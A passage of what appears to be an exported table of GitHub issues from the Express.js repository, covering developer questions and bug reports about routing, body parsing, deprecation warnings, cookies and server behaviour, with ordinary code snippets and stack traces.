    at CommonJsRequireContextDependency.getWarnings (C:\Users\cmw10\Desktop\codes\react-ssr\node_modules\.pnpm\webpack@5.74.0_webpack-cli@4.10.0\node_modules\webpack\lib\dependencies\ContextDependency.js:102:18)
    at Compilation.reportDependencyErrorsAndWarnings (C:\Users\cmw10\Desktop\codes\react-ssr\node_modules\.pnpm\webpack@5.74.0_webpack-cli@4.10.0\node_modules\webpack\lib\Compilation.js:3132:24)
    at C:\Users\cmw10\Desktop\codes\react-ssr\node_modules\.pnpm\webpack@5.74.0_webpack-cli@4.10.0\node_modules\webpack\lib\Compilation.js:2729:28
    at _next2 (eval at create (C:\Users\cmw10\Desktop\codes\react-ssr\node_modules\.pnpm\tapable@2.2.1\node_modules\tapable\lib\HookCodeFactory.js:33:10), <anonymous>:16:1)
    at eval (eval at create (C:\Users\cmw10\Desktop\codes\react-ssr\node_modules\.pnpm\tapable@2.2.1\node_modules\tapable\lib\HookCodeFactory.js:33:10), <anonymous>:42:1)
    at C:\Users\cmw10\Desktop\codes\react-ssr\node_modules\.pnpm\webpack@5.74.0_webpack-cli@4.10.0\node_modules\webpack\lib\FlagDependencyExportsPlugin.js:385:11
    at C:\Users\cmw10\Desktop\codes\react-ssr\node_modules\.pnpm\neo-async@2.6.2\node_modules\neo-async\async.js:2830:7
    at Object.each (C:\Users\cmw10\Desktop\codes\react-ssr\node_modules\.pnpm\neo-async@2.6.2\node_modules\neo-async\async.js:2850:39)
    at C:\Users\cmw... [TRUNCATED]",discuss,2022-10-01T09:16:53Z,2024-08-24T08:58:40Z,2
expressjs/express,1391252668,lazy-load express routes,"I have too many routes in my express app, all of them are loaded when the app started.

I want to load each route only when needed.
so, I tried this approach but with no luck.

```
let app = Router();

app.get('/collections', getRoute('collections'));
// other routes....

function getRoute(route: string): any {
  let [path, func = 'default'] = route.split(':');

  console.log(`getting route: ${path}`);
  return require(`./${path}`)[func];
}
```

collections.ts
```
export default (req,res)=>res.json({ok:1})
```

when the app starts it logs 'getting route: collections' once and in advance (even if it not accessed).

but I want to load this route only when we access the route 'api/collections'
",,2022-09-29T17:44:30Z,2022-09-29T17:50:17Z,0
expressjs/express,1383743650,Issue,** removed **,,2022-09-23T12:39:23Z,2022-09-23T14:08:14Z,3
expressjs/express,1366944816,Replacing querystring with fast-querystring,"I've been working on a fast querystring parser for Node.js and saw that Express.js is using the native `querystring` module. As of right now, [fast-querystring](https://github.com/anonrig/fast-querystring) is 40% faster than `querystring`.

https://github.com/expressjs/express/blob/bf4c3ee00f3b95a329fc1dd4dd0cd17c74178121/lib/utils.js#L24

Here's an example of a benchmark of Nest.js with replacing `fast-querystring` and having a 25% op/sec increase with an old version of fast-querystring. - https://github.com/nestjs/nest/pull/10248#issuecomment-1238623339 

I'd be happy to open a pull request, but before that, I wanted to create an issue and have a discussion about it.",awaiting more info,2022-09-08T20:23:28Z,2022-09-09T13:30:47Z,10
expressjs/express,1357919841,Release Express v5.0.0-beta.2,"First thanks for all the work involved for the maintainers. I really appreciate your time and progress with this framework.

I am opening this issue to know if there are a chance that a new version would be released picking the latest changes in the branch and it would be merged

Since the [release announcement of v5.0.0-beta.1](https://github.com/expressjs/express/releases/tag/v5.0.0-beta.1) the 15th Feb a lot months without ""a tag"" for the new changes.

This should help with https://github.com/expressjs/express/pull/2237 to bring new betatesters or receive new PR helping to a quick release.

IHMO if you can release a new beta every few weeks or one per month would be very useful.",awaiting more info,2022-08-31T22:02:59Z,2022-08-31T22:08:28Z,1
expressjs/express,1356111803,Error: connect ECONNRESET,"Similar to the issue https://github.com/expressjs/express/issues/3324, but we note that there was something related with the `express.Router()`


The code was like this:

```js
// app.js
const express = require('express');
const routes = require('./routes');
const app = express();

app.get('/healthz', ...); // <-- error after 300+ requests
app.get('/version', ...); // <-- error after 300+ requests
app.use('/', routes);

...

// routes.js
const express = require('express');
const router = express.Router();

...
```

In order to fix, we changed to:


```js
// app.js
const express = require('express');
const routes = require('./routes');
const app = express();

app.use('/', routes);

...

// routes.js
const express = require('express');
const router = express.Router();

router.get('/healthz', ...); // <-- fixed, no more errors
router.get('/version', ...); // <-- fixed, no more errors

...
```

express version: 4.18.1",awaiting more info,2022-08-30T17:52:54Z,2022-09-18T23:50:07Z,2
expressjs/express,1354631786,How to use multiple request parameter with router.use()?,"I want to utilize multiple route parameter in my API. The route is supposed to be `/pathOne/:idOne/pathTwo/:idTwo`. In my thought, I will have something like the following code to use `pathTwo` with multiple methods such as GET, PUT, and DELETE and code it in different file. (consider the following code is in `router.use('/pathOne', pathOneRoute)`)
```
router.use('/:idOne/pathTwo', pathTwoRoute)
```
When i log the `req.params` in my handler, only the `idTwo` showed up in my terminal. But, the route will shows both `req.params` if I code it like this
```
router.get('/:idOne/pathTwo/:idTwo', (req, res) => console.log(req.params))
```
Anyone can explain what did I do wrong? Thanks in advance","question,module:router",2022-08-29T17:24:56Z,2022-08-29T17:50:36Z,3
expressjs/express,1349674835,"app.set(""query parser"") must be run before other app methods, otherwise the setting is not saved","I want to set a custom query parser using `app.set()`. This is my app:

```ts
const app = express();
const router = express.Router();
app.use(cookieParser());
app.use(helmet());
app.use(express.json());
app.use(cors());
app.options(""*"", cors());
app.use(""/"", router);

app.listen(3000);
```

I've tried putting `app.set(""query parser"")` between each statement, but it only works when applied at the beginning:

```ts
const app = express();
const router = express.Router();
app.set(""query parser"", function(str) {
  ...
}); // This works
...
app.listen(3000);
```

```ts
const app = express();
const router = express.Router();
app.use(cookieParser());
app.set(""query parser"", function(str) {
  ...
}); // This (or between any other statement) does not work
...
app.listen(3000);
```

However, `app.get()` shows `Function[Anonymous]` regardless of where I set the settings.",question,2022-08-24T15:55:06Z,2022-08-24T16:36:16Z,1
expressjs/express,1348821412,Question: Why are there two functions with the same name in the response.js,"I found that there are two same function names in response.js file, so won't the latter overwrite the former.

first function: https://github.com/expressjs/express/blob/master/lib/response.js#L419
second function: https://github.com/expressjs/express/blob/master/lib/response.js#L501",question,2022-08-24T04:02:59Z,2022-08-24T04:23:44Z,3
expressjs/express,1345690551,[DEP0066] DeprecationWarning: OutgoingMessage.prototype._headers is deprecated,"Bump into the following deprecation warning in the following code snippet:
```
healthchecks.get('/live', function (req, res, next) {
  res.send('OK')
});
```
```
[nodejsrestapi-1] (node:1) [DEP0066] DeprecationWarning: OutgoingMessage.prototype._headers is deprecated 
[nodejsrestapi-1]     at ServerResponse.writeHead (/app/node_modules/spdy/lib/spdy/response.js:18:12) 
[nodejsrestapi-1]     at ServerResponse.writeHead (/app/node_modules/on-headers/index.js:44:26) 
[nodejsrestapi-1]     at ServerResponse.writeHead (/app/node_modules/on-headers/index.js:44:26) 
[nodejsrestapi-1]     at ServerResponse.writeHead (/app/node_modules/on-headers/index.js:44:26) 
[nodejsrestapi-1]     at ServerResponse._implicitHeader (node:_http_server:287:8) 
[nodejsrestapi-1]     at ServerResponse.end (/app/node_modules/compression/index.js:103:14) 
[nodejsrestapi-1]     at ServerResponse.send (/app/node_modules/express/lib/response.js:232:10) 
[nodejsrestapi-1]     at file:///app/src/webapi/routes/healthchecks.js:23:9 
[nodejsrestapi-1]     at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:95:5) 
[nodejsrestapi-1]     at next (/app/node_modules/express/lib/router/route.js:144:13)
```
`""express"": ""^4.18.1"",`
Node: v18.7.0",,2022-08-22T01:54:07Z,2022-08-22T01:57:17Z,1
expressjs/express,1342419440,express.urlencoded() undefined extended,"Hi there! I'm sorry if this isn't the place to ask, but I cannot think of how else to find this answer other than asking right on the repo. I've been googling and rereading the docs like crazy around urlencoded() and I see on the docs its ""default"" is set to true.

I understand I'm supposed to pass in either true or false on extended, but why do I have to if there's already a default to true? I also understand that this may change anyways in Express 5, but for Express 4, it's really bothering me without an explanation. 

`app.use(express.urlencoded());` produces this error: `body-parser deprecated undefined extended: provide extended option`

Providing the line and error for a visual example. 

**TL;DR** Why do I have to pass in  {extended: bool} instead of leaving it empty for the default of true? 

If this doesn't belong in issues, feel free to delete/close it. Just hoping someone can answer my burning question on this. I teach Express to students and this has always been hard to dance around when I'm not sure why in the first place! 

TIA! ","question,module:body-parser",2022-08-18T00:48:09Z,2022-08-24T01:49:54Z,2
expressjs/express,1341494923,Latest version: Express@4.16.1   ejs template ReferenceError     ,"My page has a get and post request
Post rendering is normal.
And get reports a rendering error on the customized object,
However, at the end of rendering, the content can be displayed
What do you want to know ？


![image](https://user-images.githubusercontent.com/49564680/185089453-1e517e31-3464-4121-984c-ebbc973e8f10.png)",,2022-08-17T09:53:29Z,2022-08-17T10:10:13Z,1
expressjs/express,1339050653,server.close() has no effect,"Hello everyone.

I am using expressjs **4.18.1** and I am trying to shut down my server, but when I restart it again I get the error that the port is still in use. And indeed, the server did not close. Here's my code:
```
async close() {
    if (this.server !== undefined) {
      await this.server.close();
      console.log(`Server on port ${this.port} shut down`);
    }
  }
```

This must be a bug, there are no open connections or anything (I checked by listening to the `connections` event.. also it also happens when I start and stop it immediately)

fwiw, I am using an ssl server with a self signed certificate:

```

    var key = fs.readFileSync(keyPath);
    var cert = fs.readFileSync(certPath);
    var options = {
      key: key,
      cert: cert,
    };

    this.server = https.createServer(options, this.app).listen(this.port);
```

.. and the environment is Mac OS.

Any help is appreciated.",awaiting more info,2022-08-15T14:07:58Z,2022-08-17T08:13:22Z,4
expressjs/express,1334711082,Define middleware router at runtime (after app listen),"Hello is it possible to define middleware routes after app is started?

app file:
```
const express = require('express');
const app = express();
var proxy = require('express-http-proxy');

import { aa } from './api';

const port = 3111;

// This working fine
app.use('/testRoute/1', proxy('http://localhost:55013'));

aa(app, '/defineRoute');

app.get('/', (req: any, res: any) => {
  res.send('Hello World!');
});

app.listen(port, () => {
  console.log(`Example app listening on port ${port}`);
});

```

api file for ""aa"" import:
```
import * as express from ""express"";
var proxy = require(""express-http-proxy"");

export function aa(app: express.Application, basePath: string) {
  const router = express.Router();
  app.use(basePath, router);

  router.get(""/"", async (req, res) => {
    // This not working :(
    app.use('/testRoute/2', proxy('http://localhost:55014'));

    res.send();
  });
}

```

When defining ""/testRoute/1"" it seems to work fine.
After application is started, and I hit [GET] -> /defineRoute which should defines ""/testRoute/2"", but it seems not working","question,awaiting more info",2022-08-10T14:23:41Z,2022-08-22T15:25:47Z,2
expressjs/express,1324384083,not receiveing body data while using app.delete,"Hi Team,
while using app.delete req.body is showing undefined

React Code:
```
await axios.delete('/deleteData',{
   sno:1,
}).then(()=>{})
```

expressCode:

```
app.delete('deleteData',(req,res)=>{
const sno=req.body.sno /// showing undefined here....

});
```
But when i tried from Postman it is working fine So what am I missing here...?
Could you please help me here...?",question,2022-08-01T13:03:36Z,2022-08-01T13:36:39Z,2
expressjs/express,1305757293,Can I upload multiple files in express?,"Hi guys, I need some help in my expressjs server. when I try to upload multiple files multer gives me error 

When I send request from the frontend and I put  `headers: {""Content-Type"": ""application/json""},` this header the json data goes through but the files don't, when I put this header `headers: {""Content-Type"": ""multipart/form-data""},` the body is empty on the server side and multer gives me error  `MulterError: Unexpected field at wrappedFileFilter`

this is the route - 
```js
router.post(
  ""/addEpisode/:id"",
  multerUploadMultiple.array(""uploads"", 2),
  uploadEpisodeOnCloudinary,
  podcastControllers.addEpisode
);
```

this is the multerUploadMultiple - 

```js
const multer = require(""multer"");

var storage = multer.diskStorage({
  destination: function (req, file, callback) {
    callback(null, ""./uploads"");
  },
  filename: (_, file, cb) => {
    cb(null, Date.now() + ""--"" + file.originalname.replace(/\s|\//g, ""_""));
  },
});
const multerUploadMultiple = multer({ storage });

module.exports = multerUploadMultiple;
```
Any help would be appreciated :)",,2022-07-15T08:44:42Z,2022-07-15T10:36:33Z,2
expressjs/express,1305039458,The error arrived at error-handler middleware has different proto then it used to have,"There is a bug that drives me mad.

There is some custom error:

```js
module.exports = class HttpError extends Error {
    constructor(status, message, errors = []) {
        super(message);
        this.status = status;
        this.errors = errors;
    }

    static unauthorized() {
        return new HttpError(401, 'The user is not authorized to perform requested actions.');
    }

    static badRequest(message, errors = []) {
        return new HttpError(400, message, errors);
    }
}
 ```

There is some error-handling middleware:
```js
const HttpError = require('../Exceptions/http-error');

module.exports = function (err, req, res, next) {
    console.log(err);
    if (err instanceof HttpError) {
        ...
    }
    ...
} 
```

And finally there is the piece of code throwing an error:
```js
async register(req, res, next) {
        try {
            ...
            if (!errors.isEmpty()) {
                throw HttpError.badRequest(""Validation error"", errors.array());
            }
            ...
        } catch (e) {
            next(e);
        }
 } 
```

Expected behavior: the middleware successfully processes the error

Actual behavior:  the if block isn't entered - a thrown error has different proto then Http.prototype - the instanceof operator returns false. 

If I put the same check in the piece of code, it returns true - the error's proto is modified somewhere on the way to middleware
",awaiting more info,2022-07-14T16:44:25Z,2022-07-15T18:05:44Z,6
expressjs/express,1299841650,"`express.json()`, Is there a standard way to handle exceptions if my request body does not conform to JSON syntax","I want to be able to pinpoint a JSON syntax error and catch it.
my request body:
```json
{
    ""user"": {
        ""email"": n.slvwtep@uhxhgyxv.al,
        ""password"": anim elit ea enim
    }
}
```
","question,module:body-parser",2022-07-10T06:27:16Z,2022-07-10T06:30:18Z,1
expressjs/express,1299773231,Cannot read properties of undefined (reading 'content-type') in express js,"See https://github.com/nuxt/nuxt.js/issues/12720

",question,2022-07-09T21:47:28Z,2022-07-17T17:19:10Z,6
expressjs/express,1299404993,express.json() causes my code to hang and never return,"I'm trying to access the json encoded body of my incoming requests — I'm trying to use express.json() as it's presented in the [docs](https://expressjs.com/en/4x/api.html#express.json), but when I add that middleware function it causes my code to hang. I saw this [stackoverflow post](https://stackoverflow.com/questions/60218644/request-hangs-in-express-js/60218675#60218675) mentioning something similar — but I'm calling the json function in my code unlike in this user's post.

Is there anything I can do? Is this a known bug?

Here's my code:

```typescript
...
import express, {Request, Response, Application, json} from 'express';
...
const app:Application = express();
...
app.use(json());

/**
* I'm making a proxy server, this middleware forwards the incoming request to a new url
* /
app.use(rateLimiter, (req:Request, res:Response) => {
    // This successfully prints the body object as a json object, but it never returns a response 
    // Removing app.use(json()) makes it work again.
    console.log(req.body);
    req.pipe(request(newUrl)).pipe(res);
});

//Start the proxy server
const server = app.listen(port, host, () => {
    console.log(`Server Running on 👉 ${host}:${port}`);
});

// Signal Handlers
process.on('SIGINT', () => server.close());
process.on('SIGTERM', () => server.close());
```",question,2022-07-08T20:07:34Z,2022-07-08T20:11:33Z,4
expressjs/express,1293481816,DeprecationWarning: OutgoingMessage.prototype._headers,"I get this message on the server side, when I do a response.send() on express server.
I was also using ws package v8.8.0 (for websocket server) in same node app,
https://github.com/websockets/ws/blob/master/package.json

message with traceback:
```
(node:45980) [DEP0066] DeprecationWarning: OutgoingMessage.prototype._headers is deprecated
at IncomingMessage.fresh (/Volumes/flores/GLMR5/gscripts/pairResolve/node_modules/express/lib/request.js:444:41)
at ServerResponse.send (/Volumes/flores/GLMR5/gscripts/pairResolve/node_modules/express/lib/response.js:189:10)
at /Volumes/flores/GLMR5/gscripts/pairResolve/server.js:99:12
at /Volumes/flores/GLMR5/gscripts/pairResolve/server.js:53:4
at FSReqCallback.readFileAfterClose [as oncomplete] (node:internal/fs/read_file_context:68:3)
at FSReqCallback.callbackTrampoline (node:internal/async_hooks:130:17)
[... more threads ...]
```
node command: the first message said to turn on --trace-deprecation, then I got the detailed one above.
node --inspect-brk --trace-deprecation server.js


client side: Chrome for Mac: Version 103.0.5060.53 (Official Build) (x86_64)
both sides, same machine: Mac OSX Catalina version 10.15.7 (19H1922)

seems to be at express/lib/request.js:444
express ""version"": ""4.13.3""

Not critical for me right now, just thought you should know.",,2022-07-04T18:43:58Z,2022-07-04T19:02:06Z,2
expressjs/express,1284474078,Getting request size,"Is this a valid way of recording the request size:

```
app.use(function logger(req, res, next) {
    req.body._requestSize = 0;

    req.on('data', (chunk) => {
      req.body._requestSize += Buffer.from(chunk).length;
    });

    next();
  });

app.use(bodyParser.json())
```

My concern is that as soon as the `req.on('data', ...)` is executed the stream will be in flowing mode and if the rest of the application does not subscribe to the stream fast enough they will miss some data. But I don't know the exact behavior of Node and ExpressJS.",discuss,2022-06-25T06:56:27Z,2024-02-07T21:33:42Z,4
expressjs/express,1280561611,How to support HTTP 103 Early Hints?,"hi,

WIth Chrome 103, the HTTP `103 Early Hints` is in release build. But how to support this in expressjs? Thanks!!
 
https://developer.mozilla.org/en-US/docs/Web/HTTP/Status/103
https://developer.chrome.com/blog/new-in-chrome-103/",question,2022-06-22T17:04:36Z,2022-06-22T17:10:06Z,7
expressjs/express,1280089051,Support for PHP scripts,"I currently use express to host my website, I use PHP and HTML, PHP shows as Text and doesn't run any scripts.
Please make php work with express.",question,2022-06-22T12:46:23Z,2022-06-22T17:15:01Z,1
expressjs/express,1279218746,Flooding requests results in memory leak,"Hello,

Using the built-in `http` and `https` packages causes a memory leak when the server gets flooded with requests from different IPs which eventually crashes the server.

**Code**
```js
const express = require('express');
const fs = require('fs');
const http = require('http');
const https = require('https');

const app = express();

app.enable('trust proxy');

app.all('*', (req, res) => {
  return res.send({
    message: 'Hello World!'
  });
});

const privateKey = fs.readFileSync('/etc/letsencrypt/live/.../privkey.pem', 'utf8');
const certificate = fs.readFileSync('/etc/letsencrypt/live/.../cert.pem', 'utf8');
const ca = fs.readFileSync('/etc/letsencrypt/live/.../chain.pem', 'utf8');
const credentials = {
    key: privateKey,
    cert: certificate,
    ca: ca
};

const httpServer = http.createServer(app);
const httpsServer = https.createServer(credentials, app);

httpServer.listen(80, () => {
    console.log('HTTP Server running on port 80');
});

httpsServer.listen(443, () => {
    console.log('HTTPS Server running on port 443');
});
```

**Error**
```
(node:14043) MaxListenersExceededWarning: Possible EventEmitter memory leak detected. 11 error listeners added to [TLSSocket]. Use emitter.setMaxListeners() to increase limit
```",awaiting more info,2022-06-21T23:10:26Z,2022-06-23T06:43:34Z,10
expressjs/express,1276168428,[Request] -  Triage role for @0ss,"- [x] I have read and understood the project's Code of Conduct.
- [x] I also have read and understood the process and best practices around Express triaging.

I request for a triager role for the following GitHub organization:

- `express`",,2022-06-19T21:17:11Z,2022-06-28T17:32:44Z,2
expressjs/express,1275982376,"Question: Modernizing, updating to ES modules","Hi!
Are there any plans to modernize the library?
In my fork I created basically a rough 'rewrite' of the library just for fun using modern JS features & the ES module system.
I also updated all of the tests & examples. (Examples are also updated to use modern JS features)
All tests are passing, as far as I can tell no compatibility is broken at the API level. (Except for the removals of deprecated stuff)

Branch: https://github.com/Degubi/express/tree/es_module_refactor
Commits:

90123f7 (Remove some deprecated api-s and related tests)
- This gets rid of 'array-flatten' (replaced with Array.flat) and 'setprototypeof' (replaced with Object.setPrototypeOf) dependencies
- Removed tons of deprecated functionality & related tests for reducing clutter & making clean ups easier (TODO: Collect list of removed API-s)

7729870 (Switch package type to 'module', update to use ES module system)
- This commit switches from using Node's require mechanism to using the ES module system
  (kept a single require in view.js using 'createRequire' because the ES module system's way of importing stuff dynamically involves using Promises and I didn't want to break stuff)
  
7745f18 (Update example files to use modern JS features)
- Cleaning up example files, start using classes, arror functions, let and const instead of var

e110426 (Update lib files to use modern JS features)
- Cleaning up library files, same applies here as in 7745f18",question,2022-06-19T07:50:50Z,2023-12-07T07:45:37Z,11
expressjs/express,1275567247,Consider using peerDependencies,"Hello ppl,
I've tried to use express 5 beta1 and it seems that everything works for me, although my project is a small/medium one.

One thing I noticed is that you don't use `peerDependencies` in your package.json, since node 16 and npm 8 `peerDependencies` are installed automatically and in case of misalignment in dependencies it throws an error when trying to run `npm i`.

By using `peerDependencies` you could ensure that clients use proper versions of such packages as `router`, `send` or `serve-static`.

WDYT?",,2022-06-17T23:07:37Z,2022-06-18T08:55:19Z,2
expressjs/express,1268243994,Speed and latency of requests,"I using express in all my projects, i like syntactics, methods, for ease of use

Lately I've been starting to dig deeper into code optimization and better use of certain things to write efficient code

![image](https://user-images.githubusercontent.com/47102682/173186434-43e05a32-5f6c-4ae8-94ff-97eee93d115a.png)

I recently stumbled across this benchmark(you can check it out [here](https://www.fastify.io/benchmarks/) with code examples) and I'm quite frustrated by the huge backlog from the Express side. It has an excellent base, it is one of the most requested frameworks, and I do not want and do not intend to switch to alternatives, but this difference really saddens me

May I know what is causing this backlog and will there be any work done on this in the future?

PS I'm not trying to bust a conflict, I'm just interested in the work of my favorite framework, because. upset by a clear speed advantage in other analogues",discuss,2022-06-11T11:45:48Z,2022-06-15T19:20:38Z,9
expressjs/express,1267079135,Request triager role for tanishq-mishra,"I have read and understood the project's Code of Conduct.
I also have read and understood the process and best practices around Express triaging.

I request for a triager role for the following GitHub organizations:

jshttp
pillarjs
express",,2022-06-10T06:08:55Z,2022-06-28T17:34:00Z,2
expressjs/express,1264438935,`express.text({ type: '*' })` doesn't parse requests bodies without `Content-Type` header on express 5.x,"```js
var express = require('express');

var app = express()

app.use(express.text({ type: '*' }));

app.put('*', (req, res) => {
  console.log('Request Body:', req.body);
  res.end();
});
```
now If you send a `PUT` request without `Content-Type` header, it will print this:
```js
Request Body: undefined
```
Which means `express.text` didn't work and thus `req.body` remained unpopulated.

**Workarounds**
Although a workaround like this works but it doesn't feel right. `type: '*'` is supposed to be able to handle everything.
```js
// working workaround
express.text({ type: () => true });
```

**Working Implementations**
https://github.com/touhidurrr/UncivServer.xyz/blob/03cf8bff12ab5e69fa416291906fae608e04e5bc/src/server.js#L49","question,module:body-parser",2022-06-08T09:12:35Z,2022-07-01T16:04:45Z,3
expressjs/express,1264408907,When will a stable version express 5 is supposed to be released?,Currently we have `beta.1`. When will we get stable?,"5.x,question",2022-06-08T08:48:07Z,2023-06-04T16:47:12Z,26
expressjs/express,1248296872,express passes to next middleware even if `next()` is not called?,"In my code:
https://github.com/touhidurrr/UncivServer.xyz/blob/ed0271efafbe5372e47f6b59cb7d43910aec5622/src/server.js#L49-L74
Express passes to nex middleware even if `413 Payload Too Large` is sent.","5.x,awaiting more info",2022-05-25T15:44:01Z,2022-05-25T17:28:39Z,10
expressjs/express,1242837432,"Combinations of middleware series with ""app.all"" is broken since 4.18.0","Like all `app.METHOD()`, `app.all()` takes callback functions that, according to http://expressjs.com/en/4x/api.html#app.all can be

- A middleware function.
- A series of middleware functions (separated by commas).
- An array of middleware functions.
- A combination of all of the above.

Which should make this example perfectly valid:

```js
const express = require('express');
const app = express();

function mw1 (req, res, next) { next() };
function mw2 (req, res, next) { next() };
function mw3 (req, res, next) { next() };
function mw4 (req, res, next) { next() };
function mw5 (req, res, next) { next() };

app.all('/path',
    mw1, // x
    [
        mw2, // x
        [
            mw3, // x
            mw4 // x
        ],
    ],
    [
        mw5, // x
    ],
    (req, res, next) => res.send('OK')
);

app.use((req, res) => res.status(404).send('Not Found'));
app.listen(3000);
```

**However with express@4.18.0 (and also 4.18.1):**

```sh
curl -X GET http://localhost:3000/path  # Works (""OK"")
curl -X POST http://localhost:3000/path  # Does not work (404)
```

To make it work with POST, you can either

- Comment out any line with `// x`
- Change `app.all` to `app.post`
- Downgrade to express@4.17.3

This is a major bug for us since it changes the behaviour of `app.all` in a semver-minor version. I will try to figure out what causes this (must be between express 4.17.3 and 4.18.0).

I see that this is a quite extreme exampl... [TRUNCATED]",module:router,2022-05-20T08:52:15Z,2022-05-20T15:24:54Z,12
expressjs/express,1241674090,Is there any subtle difference between use() / * [],"``` js
// 1
app.use(fn)

// 2
app.use(`/`, fn)

// 3
app.use(`*`, fn)

// 4
app.use([], fn)
```",question,2022-05-19T12:07:15Z,2022-05-20T13:42:44Z,3
expressjs/express,1238540850,Mounted Routes with JS Classes,"The goal is to use the JS Class version of code, which is more efficient long term. When using the CLASS based JS, in the app.js file sample below, an error is received.

```js
// USERROUTER.JS FILE, MODULE.EXPORTS EXAMPLE
const router = express.Router();

router.post('/register', authController.signup);
router.post('/login', authController.login);
router.get('/logout', authController.logout);

module.exports = router;
```


```js
// USERROUTER.JS FILE, CLASS EXAMPLE
export class UserRouter {
    constructor() {}
    // Open to all users
    register() {
        router.post('/account-register', AuthController.prototype.register);
    }
    login() {
        router.post('/account-login', AuthController.prototype.login);
    }
    logout() {
        router.get('/account-logout', AuthController.prototype.logout);
    }
}
```

```js
// APP.JS FILE
// Mounted API Routes
const apiVersion = '1.0';
const apiRoutes = `/api/v${apiVersion}`;
app.use(`${apiRoutes}/users`, UserRouter);
```

**NOTE**<br>
This project is using Typescript. 

Class Example Error: ```TypeError: Class constructor UserRouter cannot be invoked without 'new'```<br>

When using ""new"" keyword, a different error is received. 

```js
// APP.JS FILE, Using the ""new"" keyword
app.use(`${apiRoutes}/users`, new UserRouter() );
```

Error W/ New Keyword: ```TypeError: Router.use() requires a middleware function but got a Object```",discuss,2022-05-17T12:07:06Z,2022-11-27T19:48:55Z,10
expressjs/express,1236607753,4 argument function is not inferred as ErrorRequestHandler in Express.use,"```typescript
import {ErrorRequestHandler} from ""express"";
import express from ""express""

const errorHandler: ErrorRequestHandler = (err,req,res,next)=>{}

const app = express()

app.use(errorHandler) // Works well with typescript
app.use((err,req,res,next)=>{}) //     <-------  Wrong type here
```

All arguments(err~next) is `any` type. Is it intended? ",question,2022-05-16T04:33:50Z,2022-08-01T10:11:44Z,2
expressjs/express,1236321118,"Better error message for broken statuses module (had ""TypeError: Cannot read properties of undefined (reading '302')"")","Hi! I had an odd situation where I messed up my local copy of the ""statuses"" module, apparently a few months ago, and discovered it only today because express failed with

> TypeError: Cannot read properties of undefined (reading '302')

in [lib/response.js line 963](https://github.com/expressjs/express/blob/631ada0c645dc84c6df8788f5a7eb2b8100acea5/lib/response.js#L963=).

Could we add a sanity check in express initialization that checks if `statuses.message` is at least truthy, and otherwise complain that the `statuses` module seems broken or incompatible and should be reinstalled? I could make a PR for that.",discuss,2022-05-15T15:36:36Z,2022-05-15T21:07:13Z,1
expressjs/express,1232103427,The default error handler is not catching URIError,"
```
app.use((error, req, res, next) => {
   if (error instanceof URIError) {
      return res.send(""uri error"")
   }

  if (error) {
      return res.send(""any error"")
   }   
   next()

  //  this is not catching URIError  
})


app.use((req, res, next)) => {
   try {
      decodeURIComponent(req.path)
    } catche(error) {
       return res.send(""uri error"")
   }
  next()

  // this works but if I add error arg it's not going to work
}

```",awaiting more info,2022-05-11T06:58:06Z,2022-05-12T16:39:11Z,3
expressjs/express,1231174339,Property `maxAge` shouldn't brutally crash on runtime when set to a very large number,"When invoking `res.cookie` with [Number.MAX_SAFE_INTEGER](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Number/MAX_SAFE_INTEGER), it crashes on runtime with the following error:

```
TypeError: option expires is invalid
    at Object.serialize (/client/node_modules/express/node_modules/cookie/index.js:161:13)
    at ServerResponse.res.cookie (/client/node_modules/express/lib/response.js:884:36)
```

If an error is thrown, A runtime validation should be performed on the API (which is the `maxAge` property). The option `expires` is an implementation detail.

Ideally, IMHO, an error should not be thrown (runtime errors are never acceptable). A sane default should be used as a fallback and a warning should be logged. The documentation should emphasise that `maxAge` expects a natural with a maximum limit.",question,2022-05-10T13:33:21Z,2022-05-10T13:46:58Z,2
expressjs/express,1226641099,"Guidance needed: how safely use res.on('finish', ... ?","_(I also wrote this up a question on SO here: https://stackoverflow.com/q/72114468/4396258, sorry for the xpost spam)_

This isn't a bug or anything, so apologies for opening an issue, but given the ubiquitousness of this pattern, I thought it reasonable to try and get some sort of official stance on the subject, hence the issue.

So here's a very common pattern to do a thing after a response:

```js
const responseTime = (_, res, next) => {
    function finish() {
        // calculate time taken for request
        const [seconds, nanoseconds] = process.hrtime(startAt);
        const milliseconds = seconds * 1e3 + nanoseconds * 1e-6;
        res.locals['responseTime'] = milliseconds;
    }

    // cleanup to remove memory leaks(???)
    function cleanup() {
        res.removeListener('finish', finish);
        res.removeListener('error', cleanup);
        res.removeListener('close', cleanup);
    }

    res.once('finish', finish);
    res.once('error', cleanup);
    res.once('close', cleanup);

    next();
};
```

[Random real world example of this in the wild](https://github.com/instructure/canvas-rce-api/blob/master/app/middleware/stats.js) - this was the first result i grabbed, I've seen this pattern in a bunch of codebases: https://grep.app/search?q=res.removeListener%28&filter%5Blang%5D%5B0%5D=TypeScript&filter%5Blang%5D%5B1%5D=JavaScript

My question is - is this just cargo cult? Or does this more minimal version work?

```js
const res... [TRUNCATED]",question,2022-05-05T12:59:30Z,2022-05-05T13:38:34Z,2
expressjs/express,1217955271,The `max sync stack` is breaking routing,"We recently updated to v4.18.0 and find some routes are not working anymore due to https://github.com/expressjs/express/commit/708ac4cdf5cd0a658d62490a9f4d78d3e1ec6612.

1. This `100` limitation is not in the change log http://expressjs.com/en/changelog/4x.html#4.18.0. Can you help update it?
2. Can this value be configurable?

Thanks","bug,module:router",2022-04-27T22:45:25Z,2022-04-29T17:35:29Z,5
expressjs/express,1211100370,Shopify App Running on React/Express: Cannot read properties of undefined (reading 'from'),"Hi, it would be great if somebody could take a look at an issue (a bug I suspect) I'm having. Appreciate any time spent.

Context:

I'm building a Shopify app (based on the Shopify Polaris framework) and haven't experienced this issue before. Throughout the development of the application, no errors of this type have been encountered. It seems very arbitrary and unlikely, but after small updates, this error started popping up and interfering with programming - I removed all changes I made that day to see if it would help, but it didn't. I've attached as much information as I find relevant below. Please let me know if it's not structured enough, not enough information, or too much information.

I'm running the latest version of express (see below for package.json)

```
{
  ""name"": ""shopify-app-node"",
  ""private"": true,
  ""scripts"": {
    ""build"": ""npm run build:client"",
    ""build:client"": ""vite build --outDir dist/client"",
    ""debug"": ""node --inspect-brk server/index.js"",
    ""dev"": ""cross-env NODE_ENV=development nodemon server/index.js --watch ./server"",
    ""prepare"": ""husky install"",
    ""preserve"": ""npm run build"",
    ""serve"": ""cross-env NODE_ENV=production node server/index.js"",
    ""start"": ""npm run serve"",
    ""test"": ""vitest --reporter=verbose""
  },
  ""type"": ""module"",
  ""engines"": {
    ""node"": "">=16.13.0""
  },
